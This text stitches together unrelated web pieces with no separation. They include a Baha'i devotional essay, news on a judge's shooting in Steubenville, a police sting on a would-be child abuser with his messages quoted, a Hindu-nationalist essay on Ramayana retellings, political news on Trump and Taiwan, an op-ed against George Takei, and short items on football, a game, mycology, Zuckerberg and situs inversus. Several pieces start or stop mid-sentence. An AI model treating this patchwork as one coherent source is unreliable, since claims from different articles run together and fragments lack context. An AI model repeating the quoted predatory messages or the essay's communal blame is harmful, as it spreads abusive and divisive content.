Know ye that by “the world” is meant your unawareness of Him Who is your Maker, and your absorption in aught else but Him. The “life to come,” on the other hand, signifieth the things that give you a safe approach to God, the All-Glorious, the Incomparable. Whatsoever deterreth you, in this Day, from loving God is nothing but the world. Flee it, that ye may be numbered with the blest. Should a man wish to adorn himself with the ornaments of the earth, to wear its apparels, or partake of the benefits it can bestow, no harm can befall him, if he alloweth nothing whatever to intervene between him and God, for God hath ordained every good thing, whether created in the heavens or in the earth, for such of His servants as truly believe in Him. – Gleanings from the Writings of Baha’u’llah, p. 275.
When dealing with the world we need to stay alert and keep our vision clear. Far from an excuse to remove ourselves of responsibility for the world around us, the current sad condition of our world is a lamentable fact that we must arise to remedy.
The Baha’i teachings set a high standard for us. They emphasize purity of heart, love for all humanity, honest, trustworthy moral conduct and spiritual radiance. Clearly, all of us are bound to fall short of the teachings repeatedly, however hard we try, but we should aim at the high mark to which Baha’u’llah calls us – to please God with our actions, to become truly worthy of the name human, to serve mankind the very best we can.
Read the next article in the series: The Recognition of Baha’u’llah
Read the previous article in the series: Every Dimension of Reality Expresses Spirit
This essay, an edited excerpt from Forces of Our Time: The Dynamics of Light and Darkness, by Hooper C. Dunbar, George Ronald, Publisher, is used with the permission of both the author and the publisher.The man who shot and wounded a judge outside a county courthouse before being shot dead by a probation officer was the father of a Steubenville High School football player who was convicted of rape in 2013, authorities said on Monday.
Jefferson County Judge Joseph Bruzzese Jr was shot at around 8am near the courthouse in Steubenville, just across the Ohio River from West Virginia’s northern panhandle, roughly 30 miles west of Pittsburgh.
Authorities identified the gunman as Nathaniel “Nate” Richmond, father of Ma’Lik Richmond, who served about 10 months in a juvenile lockup after being convicted with another Steubenville High School football player of raping a 16-year-old girl at an alcohol-fueled party in 2012.
{snip}
Investigators were still looking for a motive in the shooting and had not found a connection to the rape case, said Jefferson County prosecutor Jane Hanlin. A visiting judge from Hamilton County, where Cincinnati is located, handled the vast majority of the rape case.
{snip}
Steubenville city manager James Mavromatis told WTOV-TV that Bruzzese spoke after being wounded. He was flown to a Pittsburgh-area hospital. Republican governor John Kasich said he was told the judge would survive.
The attack had to be intentional because people know about the reserved spots where judges park, said one of Bruzzese’s judicial colleagues.
Judge Joseph Corabi said he and the county’s two other judges park in reserved spots next to the courthouse. Judges then walk a few feet down “Courthouse Alley” to a side entrance to the building, said Corabi, the Jefferson County juvenile and probate court judge.
“Everybody knows who parks there. That’s why it’s not an accident what happened. He was clearly an intended target,” Corabi said.
Ma’Lik Richmond is currently on the Youngstown State football team but is not allowed to play in any games, the school said earlier this month in responding to criticism surrounding his participation.
{snip |
pedophile circles, PTHC stands for “pre-teen hardcore.” The ad was an invitation, and Prine took Morton up on his offer.
Prine’s lawyer is taking the “Internet as fantasyland” defense, claiming his client was simply role-playing. “It is not just officers who pose,” he told the court. “People on the Internet pose. This case presents a world of smoke and mirrors.”
A world of smoke and mirrors that nevertheless resolves into a pretty damning scene: Police busted Prine, carrying a pizza box, as he approached the supposed 32-year-old mother’s apartment on Nov. 20. Earlier, Prine had explained in explicit detail exactly what he hoped to get out of the encounter:
“Are you into that?” Prine had written to the detective earlier. “That,” referred to, in Prine’s words “sexual interaction between family members.”
Did the mom like to participate (in the incest and child rape) or just watch? “I enjoy both,” the detective replied, before asking Morton for his age preferences.
“9-plus,” Prine said,.
The children were about that old, the detective replied. They were ready and willing, he said.
Prine replied: “Wow, I’m speechless.”
If convicted, Prine faces 10 years to life in prison.
Photo via Anniston/GadsdenRamayana is said to be the Soul of Bharat, the united Bharat extending from today’s Afghanistan to Vietnam. Over millennia, Srimad Ramayana stood for the ultimate pursuit of every Bharatiya to be like Sri Rama, embodiment of Dharma. Given that Sanatana Hindu Dharma emphasized on punar-janma (rebirth), every Bharatiya took each life time as a step towards self-realization, which is becoming the Atman that is Sri Rama (TatTvamAsi).
The origin of Ramayana maha-kavya itself is worth learning about. In a conversation with sage Narada, maharishi Valmiki asks if there exists (currently) a person with 16 virtues or characteristics (Balakanda 1-1-2 to 1-1-5); considered to represent a self-realized embodiment of Dharma. To that question Narada answers affirmatively and briefly narrates the story of Sri Kausalya-putra Rama, son of Dasaradha. Then Brahma proposes maharishi Valmiki narrates the story of Sri Rama in detail, which leads Valmiki to write the story of that Dasaradha Rama as Ramayana (Rama + Ayana = Journey of Rama).
At this point, it is important to note that Kausalya-putra Dasaradha Rama was not the first Rama of Bharatiya puranic lore. There were many Ramas before Dasaradha Rama. In fact, there was a Renuka-putra Jamadagni Rama (famously known as Parasu Rama), who was also an avatar of Sri Vishnu and a chiranjivi (immortal), who would live till end of time (this sweta-varaha kalpa). But none of their autobiography will ever be called Ramayana in Bharatiya puranic lore.
If Ramayana (Rama + Ayana) means Rama’s journey, why can’t the journey of any and every Rama be Ramayana? It can be in a literal sense. But that will lead to two problems. First, it will lead to plagiarism of Valmiki’s intellectual property. Secondly, it will be an Asuric-wart on Bharatiya civilization. If an author persists to do it, it reflects the author’s prejudices not Ramayana nor Bharatiya civilization.
Then what is the essence of Valmiki Ramayana? Bharatiya Rishis used two tools to explain a scripture’s essence or purpose. First tool is called “Anubandha Chatushthaya”, which explains
Adhikara – the required qualification of a reader of that scripture Vishaya – The object or body of knowledge presented in the book Prayojana – The purpose or result the reader would get out of the book Sambandha – how the reader is expected to approach the body of knowledge in the book
The second tool is phala-shruti of a given scripture. For example, Valmiki explains the phala-shruti of Ramayana in shlokas 6-128-108 thru 6-128-125. Interested minds can read.
Many seekers, poets and authors took inspiration from Valmiki Ramayana and retold that story in their own words and prejudices. We can group all these non-Valmiki Ramayanas into two groups. First group authors merely retold Valmiki Ramayana as a celebration of Sri Rama without altering the Anubandha Chatushthaya. Few examples of these Ramayanas are Agastya Ramayana, RamaCharitaManas by Sant Tulasi Das, Kamba Ramayana in Tamil, Ramayana Kalpavriksha by Sri Viswanatha Satyanarayana in Telugu etc. It is important for readers to note that such Ramayanas exist even outside todays nation-state called Bharat.
The second group of Ramayana are distortions of Ramayana to fit into a non-Hindu religious or ideological perspective. Examples of these Ramayanas are Dasaradha Jataka in Buddhism, Paumachariyam in Jainism and a communist distortion of Ramayana called Ramayana Visha-vriksha by Muppalla Ranganayakamma in Telugu.
Perhaps an analogy would help understand these distortions of Ramayana. Imagine a sugar-cane juice center on the road side, a common scene on Bharatiya roads. Often it is a family enterprise; a woman acting as table-server and running cash counter while her husband runs the hand-operated sugar-cane mill to extract juice. We can observe all kinds of people in such a shop; all came to enjoy the juice but make different observations.
Few enjoy the juice as if it is amruta, oblivious to the surroundings; few ogle at the beautiful woman at the counter; few others jealously wonder how much profit this family must be making; few feel disgusted at the not-so pristine environment; few others get upset at the socio-economic exploitation of this poor family; a beggar hopes to attract the magnitude of the shop-owners for a free juice, and so on. But the family running the shop are detached from all these feelings, unless expressed aggressively, as they are busy with their swadharma.
Similarly, Valmiki’s Ramayana swadharma is its Anubandha Chatushthaya. Any translation or re-rendering of Ramayana that honored the original Anubandha Chatushthaya is considered as Swa-Ramayana (our Ramayana) by Bharatiya civilization and celebrated as thus.
Any Ramayana that distorted this Anubandha Chatushthaya of Valmiki is considered as para-Ramayana (not Ramayana) by Bharatiya civilization even if it tells the story of that very Kausalya putra Dasaradha Rama. Reading a para-Ramayana is like a seeker eating the sugar-cane trash without juice in the above analogy.
Thanks to triple colonization of Bharat by Islam, Christianity and Secularism, a new wave of Ramayanas are being unleashed on Bharatiya consciousness. These renderings are neither the stories of Kausalya-putra Sri Rama, nor they honor the Anubandha Chatushthaya of Valmiki Ramayana. They are stories of non Bharatiya individuals packaged as Ramayana with a single motivation to distort and confuse. If there ever was another hero like Sri Rama, who demonstrated the 16 virtues described by Valmiki, it is our dharmic duty to recognize those individuals as avataras of Vishnu in their own names without any shame. If they do not demonstrate those qualities, then applying Ramayana name is nothing but plagiarism of Valmiki’s work and insulting Sanatana Hindu Dharma.
There is little one can do to stop such deceptive, unethical authors from plagiarizing Ramayana, our Bharatiya dharmic and cultural heritage. It does not matter if the author is erudite or even Veda-acharya. Almost all of our Puranic asuras, such as Trishira and Ravana were great Veda panditas themsevels, but were killed as they misinterpreted, mis-lived Veda vangmaya.
However, we can warn the readers on avoiding such distortions and ku-panditas.
As individuals do a critical study of Dharma, thru Ramayana or other Sanatana Dharmic scriptures, there will be two outcomes. One is the seeker gets results of their pursuit (called Tapas if done individually and Yajna if done collectively) in physical, conscious and causal realms. This also includes the impact of the seeker’s pursuit on surroundings (environment, society and other seekers). Mind you, a wrong seeker can get right followers and vice-versa. In the past, a seeker either didn’t share his/her methods and observations until one got Siddhi (fulfillment) or concluded their pursuit for lack of Siddhi. Few shared their failed methods and failures as a warning to others.
In the current era, the environment and tools (such as internet and social media) permit a seeker to share their study and methods in real time as they plan, prepare and do their pursuit. We can’t be sure if this is a good or bad thing, but it is very important (for the followers) to know that the seeker is still on their own journey and haven’t concluded their pursuit or got Siddhi. Another important fact to note is that many followers are following a seeker while the seeker himself/herself is in the journey without knowing to what purpose the pursuit is, at what stage the pursuit is, for how long it will continue and to where it goes and so on.
This is like people running behind Forest Gump in that famous Hollywood movie. One fine day the seeker (Forest Gump – a humble person literally running away from his own fears) will stop running and goes home leaving his followers standing confused on a road to nowhere.
Swasti!
-By @RamaY_BRF
(This article first appeared at http://bharata-bhuti.blogspot.in/2017/03/swa-para-ramayanas.html and is being reproduced with the permission of the author)
Disclaimer: This article represents the opinions of the Author, and the Author is responsible for ensuring the factual veracity of the content. HinduPost will not be responsible for the accuracy, completeness, suitability, or validity of any information, contained herein.
Did you like this article? We’re a non-profit. Make a donation and help pay for our journalism.On Sunday morning, Republican Senator Ben Sasse went on ABC’s This Week and criticized Donald Trump’s childish response to Judge James Robart’s decision to put a national halt on his now infamous travel ban.
After it was announced that Judge Robart had deemed Trump’s Executive Order unconstitutional, the President went after the “so-called judge” on Twitter, calling his decision “ridiculous” and promising that it “will be overturned.”
The opinion of this so-called judge, which essentially takes law-enforcement away from our country, is ridiculous and will be overturned! — Donald J. Trump (@realDonaldTrump) February 4, 2017
In response to a question about Trump’s use of the term “so-called judge,” Sasse told host George Stephanopoulos:
‘I’ll be honest, I don’t understand language like that. We don’t have so-called judges. We don’t have so-called senators. We don’t have so-called presidents.’ ‘We have people from three different branches of government who take an oath to uphold and defend the Constitution, and it’s important that we do better civics education for our kids. So we don’t have any so-called judges. We have real judges.’
Watch Sasse’s comments about Trump’s response to Judge Robart in the video below, available via Twitter.
Although he doesn’t support the language Trump used in his tweet and was critical of him throughout his campaign, Senator Sasse has made it clear that he is not an opponent of everything the President has done in his first two weeks in office. Recently, Sasse has come out in support of Trump’s Supreme Court nominee, Neil Gorsuch, and his nominee for Secretary of Education, Betsy DeVos.
Speaking about Trump choosing Gorsuch, Sasse said:
‘I think it was a very exciting pick. Gorsuch is the kind of guy that every American should be applauding on the court.’
The support for Gorsuch from the conservative Senator is understandable. However, his decision to back Betsy DeVos, someone whose knowledge and experience has been doubted by people on both sides of the aisle, is a bit more troubling. Sasse said about DeVos:
‘We need to make sure these schools are more effective in serving their local communities and their kids and the families in those districts.’ ‘That accountability has ultimately got to come from reducing the regulatory burdens of people just filing paperwork for Washington D.C. and re-empowering those local districts and local families, and I think that’s what Mrs. DeVos is going to try to advance.’
Featured image is a screenshot from the video.Washington (CNN) In speaking on the telephone with Taiwan's President Tsai Ing-wen and lashing out at China on Twitter over the weekend, President-elect Donald Trump did more than bewilder leaders in Beijing and the White House.
He made clear that he's serious about his vows to wring a new deal from China on trade and appears to be ready to challenge at least the atmospherics of the US relationship with Taiwan -- an issue of deep sensitivity in Beijing.
His tactics also show that President Trump promises to be just as much of a disruptor in international relations as he has been in domestic politics, no matter what conventions get broken in the process.
But so far, analysts say, it is not clear that Trump -- for all his bombast -- is preparing to tear up the strategic framework that has underpinned Sino-US relations since President Richard Nixon went to China to open relations between the two countries four decades ago.
Trump's inexperience in foreign affairs and the fact that he is yet to name a secretary of state or senior Asia policy team means there is uncertainty in Washington and across the Pacific about his intentions.
JUST WATCHED Conflict of Interest Watch: Taiwan, Japan and Ivanka Replay More Videos... MUST WATCH Conflict of Interest Watch: Taiwan, Japan and Ivanka 03:37
China watchers are trying to work out if the call with Tsai is a sign that Trump is ready to challenge the strategic ambiguity of the "One China" policy itself that has been the cornerstone of bilateral relations since the establishment of diplomatic relations.
The formula, enshrined in the documents that eventually led to the establishment of US relations with China, permits Beijing to regard Taiwan as a part of China and the United States to sell the nationalist island arms to defend itself against the mainland, and has headed off a major US-China clash over the issue.
Trump's call with Tsai was initially described by the presidential transition as a courtesy call. But now his supporters suggest that the first reported direct contact between a president or a president-elect with a Taiwanese leader in 40 years was more significant.
"Taiwan is our ally," former Trump economic adviser Stephen Moore said in a radio interview Monday on the Big John and Ray Show on WLS AM890. "That is a country that we have backed because they believe in freedom. We ought to back our ally, and if China doesn't like it, screw 'em."
Reince Priebus, Trump's pick to be his chief of staff, said Monday that Moore is not an adviser for Trump's transition.
But the diplomatic balance over Taiwan is so delicate that some analysts fear Trump could be starting a confrontation that could easily spin out of control, endanger other crucial areas of the US-China relationship and even so hike tensions that a military clash is possible in the Pacific.
"I think that until the inauguration, China is unlikely to let this escalate with the President-elect," said Jessica Chen Weiss, a China expert at Cornell University."After January 20, I think all bets are off."
"China would be willing to sacrifice cooperation across the board to stand firm against any move to give Taiwan diplomatic recognition and undermine the "One China policy," according to Weiss.
What is Trump's strategy?
When news broke of Trump's conversation Friday with Tsai, many foreign policy experts simply chalked it up to a rookie error.
But after Trump hit back on Twitter by pointing out the seemingly illogical convention that will give him power as president to sell arms to Taiwan but not talk to its leader, the consensus began to shift.
When Trump returned to Twitter over the weekend to accuse China of devaluing its currency and building a "massive military complex" in the South China Sea, it became clear that he was making a tough initial gambit in his unfolding relationship with Chinese President Xi Jinping.
"He wants to negotiate a new deal with China. Obviously this call does what he said he is going to do. He wants to shake up China," said Michael Pillsbury, an author and China expert who has advised Trump and called him a "strategic genius."
JUST WATCHED What Trump's Taiwan call means for US-China ties Replay More Videos... MUST WATCH What Trump's Taiwan call means for US-China ties 05:58
"He is going to be firm and he is reminding them we need to have a talk now (between) Beijing and Washington," Pillsbury said on CNN Monday.
Trump's attitude mirrors a recent Foreign Policy article written by two other advisers -- Peter Navarro and Alexander Gray -- that was seen widely as a blueprint for his upcoming China strategy.
The authors warned that President Barack Obama's Asia pivot, partly conceived to cope with the rise of China, was a case of talking loudly but "carrying a small stick."
Trump, they suggested, would adopt a policy of "peace through strength," vastly expanding the US Navy to respond more robustly to Chinese territorial claims in the East and South China Seas and make clear that American interests in the region would be paramount.
Patrick Cronin, a senior director at the Center for A New American Security, said that Trump was intent on demonstrating to China that its rising power would not be met by an atrophying United States.
"What Trump is doing is to try to create new leverage, new maneuvering room in what is going to be a protracted complex negotiating position with China," said Cronin, who backed Democratic nominee Hillary Clinton in the presidential race. "This move signals early on that he is capable of coloring outside the lines on US-China relations, not just in domestic policy. "
China's response
Some commentators have argued that China sees Trump's presidency as an opportunity. His decision to cancel the Trans-Pacific Partnership trade deal is seen as playing into Beijing's hopes of establishing its own economic order in the region, since the massive US-led trade deal cut out the Asian superpower.
Trump's campaign trail warnings that Japan and South Korea must do more to pay for their US defense umbrella were also interpreted as presaging a US retreat from the region.
But China might be taking another look at Trump after this weekend.
Beijing's initial response to Trump's call with Tsai was sophisticated -- restating the importance of the "One China policy" but also giving Trump and his team the benefit of the doubt by blaming Taiwan for initiating the call.
Such a strategy suggests that Beijing could expect that the new US president will initially have a contentious relationship with China -- as has happened in the past -- before the logic of the wider relationship eases tensions.
Former Australian Prime Minister Kevin Rudd, a longtime China-watcher, said Beijing had made a decision not to play into Trump's hands.
"I think we are in for at least a couple of months of general uncertainty," Rudd told CNN's Richard Quest on Monday.
"The Chinese response still is this is a shake-down period -- perhaps President Trump is pushing us and probing us. Perhaps he is seeking to obtain some negotiating chips," he suggested they're saying, "but we are not going to rise to the bait."
JUST WATCHED Conway: Trump well aware of US-China policy Replay More Videos... MUST WATCH Conway: Trump well aware of US-China policy 01:37
However, Beijing also sent clear signs -- through a Global Times editorial, often a conduit for Communist Party thought -- that if Trump was spoiling for a fight, he could be biting off more than he can chew.
"No matter what the reasons are behind Trump's outrageous remarks, it appears inevitable that Sino-US ties will witness more troubles in his early time in the White House than any other predecessor," the Times said. "We must be fully prepared, both mentally and physically, for this scenario."
If it comes to it, China could make life difficult for the Trump administration.
It could refuse to help slow the nuclear program of close ally North Korea, impose tariffs on US goods or make it more difficult for American businesses to operate in China. Weiss said Beijing could also hold military maneuvers to show the US and Taipei "that China's resolve is unshaken."
Trump's critics are puzzled why he would open his relationship with China by initiating a clash over Taiwan and then doubling down.
"Some of the progress we have made in our relationship with China could be undermined by this issue flaring up," White House spokesman Josh Earnest warned.
Christopher Hill, a former assistant secretary of state, said that the "One China" policy was successful and did not need fixing.
"It's not an issue, it works, it is not among the list of the terrible problems in East Asia," Hill told CNN International's Hala Gorani.
"If we start going after things that are not a problem, I think that some of these problems that we have for which we need US-China cooperation, if you will, we are going to find it tougher and tougher to work with the Chinese," he continued.
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No consensus in Washington
Still, there is no consensus in Washington that Trump really wants to throw the foundations of US-China policy out the window.
Walter Lohman, a former Republican Senate policy aide who is now director of Asian Studies at the Heritage Foundation, said that both sides remain committed to the basic post-Nixon era framework of US-China relations.
"I could see tensions increasing, but all within the framework," he said. "They definitely want to preserve it, and I think right now, they are calculating that we want to do the same."
Republican Rep. Matt Salmon, chairman of the House Foreign Affairs subcommittee on Asia and the Pacific once lived in Taiwan and has been to China more than 50 times, and said he saw no risk to the "One China Policy."
Asked on CNN whether Taiwan could cause a military clash between the US and China, he added: "Not at all."
"I think that the Chinese understand how important we are to their economic success," Salmon said on CNN.
Despite the uproar, it's too early to panic about the state of US-China relations under Trump, according to Rudd.
"Let's not proclaim cataclysm on the basis of a tweet or two, or four or six," he said.
UPDATE: This story has been updated to reflect that Moore is not an adviser on the transition.George Takei’s racist attack on Justice Thomas today is impossible to take out of context. The phrase “clown in blackface” can have only racist connotations. For quite awhile now I have regularly enjoyed reading Takei’s commentary on various issues, his jokes and bad puns on his Facebook page, and many other things he has done over the years. I disliked the few times he would call for socialist centralization and awful new laws, but I thought that he was a wonderful guy with a great message and a fantastic disposition, and a great heart; until today. Today he looked like a hate filled, ugly, bigoted racist with nothing intelligent to say.
If a Republican had made such a remark about a black Democrat, the universe would have exploded in attacks, threats, calls for apology, and general condemnation. I hope over the coming days, people will treat Takei similarly; because, you know, equality.
I believe Takei should apologize; but let me make that clearer: I am not a white guy asking a Japanese guy to apologize to a black guy. I am an American asking an American to apologize for his ignorant attack on the character of an American. I’m sick of tribalism, I’m sick of Democrat led segregation, and I’m sick of divisive nonsense driving a wedge between us. But such tribalism keeps getting worse and worse…
The last few weeks in the US have been wildly divisive and Takei jumped on that hate-filled bandwagon. While the majority of us were joined in a celebration of love as gay rights activists achieved a fantastic victory in Obergefell v. Hodges, some have been incredibly violent, hostile, and outright threatening.
Such divisiveness has no place in rational conversation among adults. Takei invokes his victim-cred by talking about how his family was savagely injured by Franklin Roosevelt’s tyrannical incarceration of Japanese Americans – from the timing of his invocation, it seems that he understood that he made an incredibly hate filled racist remark and wanted to justify it; it can’t be justified or excused. I think it goes without saying, however, that Takei’s remarks about his family bear zero relevance to Justice Thomas’ dissent in Obergefell. His dissent very clearly takes a legal position, which is actually quite accurate and thoughtful, and concludes that the majority opinion gets the Constitution wrong.
No invective, no activism, nothing that would disqualify him from holding the position of Supreme Court Associate Justice.
Takei, then, merely lashed out like a 2-year-old because of his self-righteous indignation and polemical nonsense spewed forth (after such ignorant and childish outrage, let’s keep Takei away from Justice Thomas’ citations to Korematsu). Loudly beating his victim drum, he seems to think it is permissible for him to make racist remarks. Pure applesauce.
If Takei seriously believes Justice Thomas is unfit because he believes the Constitution doesn’t contain a right to gay marriage, then I think Takei should direct his attention to Justice Thomas’ dissenting opinion in Lawrence:
I join Justice Scalia’s dissenting opinion. I write separately to note that the law before the Court today “is... uncommonly silly.” If I were a member of the Texas Legislature, I would vote to repeal it. Punishing someone for expressing his sexual preference through noncommercial consensual conduct with another adult does not appear to be a worthy way to expend valuable law enforcement resources. Notwithstanding this, I recognize that as a member of this Court I am not empowered to help petitioners and others similarly situated. My duty, rather, is to “decide cases ‘agreeably to the Constitution and laws of the United States.'” And, just like Justice Stewart, I “can find [neither in the Bill of Rights nor any other part of the Constitution a] general right of privacy,” or as the Court terms it today, the “liberty of the person both in its spatial and more transcendent dimensions,”
Lawrence v. Texas, 539 U.S. 558 (2003) (citations omitted).
In Lawrence, the Court was determining whether state laws that banned the act of sodomy were constitutional; those laws were very obviously directed and enforced to harm gay men. Justice Thomas directly states that he would vote to repeal such laws if he were in a position to do so. He then correctly states that it is not his place to do so and it is not the province of the Court to create new provisions in the Constitution. Justice Thomas’ dissenting opinions are well-crafted, well-reasoned, articulate, thoughtful, and appropriate for a Justice of the Supreme Court.
I think it is important to point out that I completely disagree with Justice Thomas’ legal conclusions in both Lawrence and Obergefell (also relevant, I disagree with the majority opinion in Lawrence – but that gets too legally technical and complicated for this article). Despite that disagreement, I will not make angry, racist, and divisive remarks to degrade anyone’s character.
It is also important to note that Takei is not, as is obvious, a jurist. These legal issues raised by Justice Thomas are incredibly technical and require a long grasp on history. So Takei is lashing out in mere ignorance.
And the layperson in Takei latches onto Justice Thomas’ reference to dignity… The majority opined that the dignity of gay persons somehow creates a new right in the Constitution; as Justice Thomas correctly points out, “[T]he Constitution contains no ‘dignity’ Clause.” Obergefell v. Hodges. If you disagree with Justice Thomas, formulate a reasoned, legal position that is contrary to his, cite historical and legal texts, and be a rational adult. Do anything… ANYTHING other than resorting to racist jiggery-pokery.
Rising above Takei’s racism, I think all of this debate and divisiveness would be completely remedied by the general acceptance of the libertarian position that has been around for decades. That is, individual rights fully vindicate the right of gay persons to marry and the coordinate position that it is not the province of a government to interfere with such individual and private action. We are each of us autonomous persons free to rightfully act as he or she desires.
There are no powers in any legitimate government to interfere with such rights; it is only the province of a government to prevent or remedy the private interference with the rights of others. Instead, we live in the Socialist Republic of the United States and when socialists empower a government to interfere with the rights of others in a way they agree with, it is only a matter of time for the government to interfere with the rights they believe are sacrosanct.
That is, if you don’t hate your government yet, keep using it to abuse the rights of others to your benefit and soon you will.
Such socialist belief in the nonsense of a “living law” and a “social contract” is what empowered governments to ban gay sex and marriage in the first place. Why don’t we try something radical… why don’t we see what it would be like if governments didn’t have such unconstitutional, immoral, and illegal powers?
In any event, George, let’s hear it. Let’s see you be the loving, caring, and unifying person that you have been for so long. Call your comments what they were, racist, own them, apologize, and move on. For so long you have been against hate and against bullying – but your comments today were clearly hate filled and degrading. Be the change you want to see in the world. I know for a fact that you don’t want the world to be racist and hate filled – so be the change, George.Receiver Myron Burton Jr. has left the Auburn football team.
The offensive MVP of Auburn's A-Day scrimmage in the spring, Burton was expected to contribute this season after catching seven passes for 124 yards and one touchdown.
Auburn coach Gus Malzahn called the departure a "mutual" decision between the coach and Burton. "We wish him nothing but the best for the future," Malzahn said.
The Tigers will move receivers among the three main spots to compensate for the departure, though it appeared Burton was destined to spend most of the season on the bench.
"We've got three or four guys who can play both," Malzahn said. "We'll move people around probably more than we have in the past. We do have some depth at receiver we feel good about."
The 6-foot-2, 201-pounder was roommates with backup quarterback Sean White, who teamed up for the breakout performance in the spring scrimmage.
The redshirt freshman hauled in a 43-yard touchdown pass from Jeremy Johnson in the short time he worked with the starters in the scrimmage.
Offensive coordinator Rhett Lashlee downplayed the possibility of Burton disappearing following his breakout performance in the A-Day game.
"It's like the Madden curse?" Lashlee said on April 21. "Like winning the par 3 course at Augusta, don't even go play the four rounds you don't have a chance. Myron is someone I think you see his ability, his athleticism. He'll attack the football. He's aggressive to the football. That's the first thing you want a receiver to be able to do."
Burton appeared to be making strides in preseason camp.
"Myron's been pretty good," receivers coach Dameyune Craig said Aug. 14. "It was a great experience for him to go out there and play that well in the A-Day game. To come back and try to build on that and you have some depth in that room, you just have to come in and find your niche. We have some guys that we feel good about and you go into the season with experience, you have guy with that much talent you just want to make sure that if anything was to happen with anybody else, any injuries or whatever, he's able to step up.Instructions
WASD (or arrow keys) to control movement WASD (or arrow keys) to control movement
Heat seeking missiles, don't let them touch you! Heat seeking missiles, don't let them touch you!
Cannon shells, high kinetic damage, dodge them too Cannon shells, high kinetic damage, dodge them too
Keys, collect them to unlock doors Keys, collect them to unlock doors
Repairs, collect them to improve the condition of your hull Repairs, collect them to improve the condition of your hull
Press Space to deploy flares. Press Space to deploy flares.
Press Escape to pause/unpause,
and while paused, press R to restart. Press Escape to pause/unpause,and while paused, press R to restart.
Tip: If you find yourself sliding against a wall,
quickly tap s (or down arrow) to move yourself away.Radical Mycologist Trains Mushroom to Remediate Cigarette Butts
Cigarette filters are the most commonly littered waste product in the world. Last year, nearly 1.7 billion pounds of cigarette filters were thrown into the globe’s landfills and ecosystems. That’s roughly 4.5 trillion cigarette butts littered each year! In the US alone, an estimated 135 million pounds of cigarette butts are thrown away annually.
Cigarette filters are made from a type of plastic called cellulose acetate. As cellulose acetate does not readily biodegrade, cigarette litter can persist in the environment for 10-15 years or longer before it begins to break down. The filters that aren’t thrown into the streets and parks of the world find their way into landfills where they slowly leach toxic chemicals and heavy metals into ground water systems. Fortunately, fungi may provide a solution to this global issue.
As discussed in the Radical Mycology article, Fungi and The Plastics Problem, it has long been known that fungi can degrade various forms of plastic. However, a large-scale, real-world application of this ability has never been explored to any real depth. This may have been due to a variety of factors, one of which being that the chemical composition of many plastics is too complex for many fungi to readily digest. The plastic that composes cigarette filters, however, is of a rather simple composition and thus allows some common fungi to easily digest it.
Cellulose is the structural component in plant cell walls and is also one of the most accessible nutrient sources that fungi degrade in the natural world. Fungi use digestive enzymes to break down cellulose into simple sugars, which are then metabolized by the fungus. As the cellulose acetate that comprises cigarette filters is nothing more than a modified form of plant cellulose, it turns out that some fungi can break down this industrial plastic waste product.
Cellulose acetate Cellulose
As Peter of the Radical Mycology project demonstrates in the video below, fungi can not only be trained to digest used cigarette filters but possibly the toxic chemicals that they harbor as well. The methodology Peter used to accomplish this goal was based on an understanding of the skills needed to “train” a fungus to digest a foreign substance. Simply put, the mushroom cultivator must slowly introduce a new food source to a fungus so that the fungus can first determine and then produce the correct enzymes necessary to digest the novel substrate. The same concepts that Peter introduces in this video can be applied to a range of toxins and industrial chemicals, such as petroleum products, dioxins, dyes, and munitions. This is a concept known as fungal remediation. In recent years, skills such as these were coveted techniques used by professional mycologists and bioremediation firms. However, as the global grassroots bioremediation community has continued to grow in the last few years, these techniques have become increasingly more available to the common cultivator.
Skills such as this will be explored in-depth in the Radical Mycology Book. If you would like to learn more advanced mycological skills for reducing your pollution impact and to help clean up the environment, please consider backing the Radical Mycology Book Indiegogo campaign.
AdvertisementsFacebook founder Mark Zuckerberg is taking on a new challenge.
“The only meat I’m eating is from animals I’ve killed myself,” he said.
The 27-year-old billionaire said since starting the odd challenge, he has killed goats, pigs and chickens.
“I’m eating a lot healthier foods. And I’ve learned a lot about sustainable farming and raising of animals,” he said, according to Fortune magazine’s website.
“It’s easy to take the food we eat for granted when we can eat good things every day.”
On May 4, Zuckerberg posted a note on his Facebook page — where else — saying, “I just killed a pig and a goat.”
The statement instantly drew comments from those who saw the message.
In an email to Fortune, Zuckerberg wrote that he has taken on a new “personal challenge” every year in recent memory.
“I spend almost all of my time building Facebook, so these personal challenges are all things I wouldn’t normally have the chance to do if I didn’t take the time,” he wrote.
“Last year, for example, my personal challenge was to learn Chinese. I blocked out an hour every day to study and it has been an amazing experience so far. I’ve always found learning new languages challenging, so I wanted to jump in and try to learn a hard one.”
Zuckerberg, who talked to world leaders at the G8 summit today about the impact the Internet has on the world’s economy, said the idea to eat only the animals he could kill came to him last year.
“I started thinking about this last year when I had a pig roast at my house. A bunch of people told me that even though they loved eating pork, they really didn’t want to think about the fact that the pig used to be alive,” he said.
“That just seemed irresponsible to me. I don’t have an issue with anything people choose to eat, |
the Assad air force, if you cross this line, you’re going to be shot down.”Timberwolves basketball player Randy Foye will have a ready-made excuse if he ever makes a hoop in the wrong basket.
After all, he’s all mixed up inside. He’s one of the rare people walking this Earth with situs inversus. That’s the scientific name for the condition of having your organs reversed inside of your body.
While most of us have our heart slightly to the left of the center of our chest, Randy’s heart is slightly toward the right. Likewise, his liver is on his left and his stomach is on his right. Most of us have those organs on the opposite sides of our body.
Randy’s medical mix-up was featured in a cover story on Tuesday’s Star-Tribune. And for as great a basketball player that he’s been – he was the Wolves’ No. 1 draft choice this past spring after being named the Big East Player of the Year last year as a senior at Villanova – he was sweating out if his condition was going to cost him a chance to play pro basketball.
In the story, he told how he was able to pass all the on-court tests of his talents with flying colors during the pre-draft camps. But when the medical tests came back showing that his insides were turned around, the experts had to get a quick education on situs inversus.
I had never heard of the condition myself until working in the Body Worlds exhibition this summer. There, a number of people told me that they had the condition, or knew of someone who had it. Actually, it impacts about 1 in 10,000 people.
For the most part, people with situs inversus lead a perfectly normal life. The only hang-up can come if they suffer some other malady, and their doctor doesn’t know they have situs inversus. For instance, if Randy Foye suffers an attack of appendicitis, his pain will be in his left abdomen, not his right.
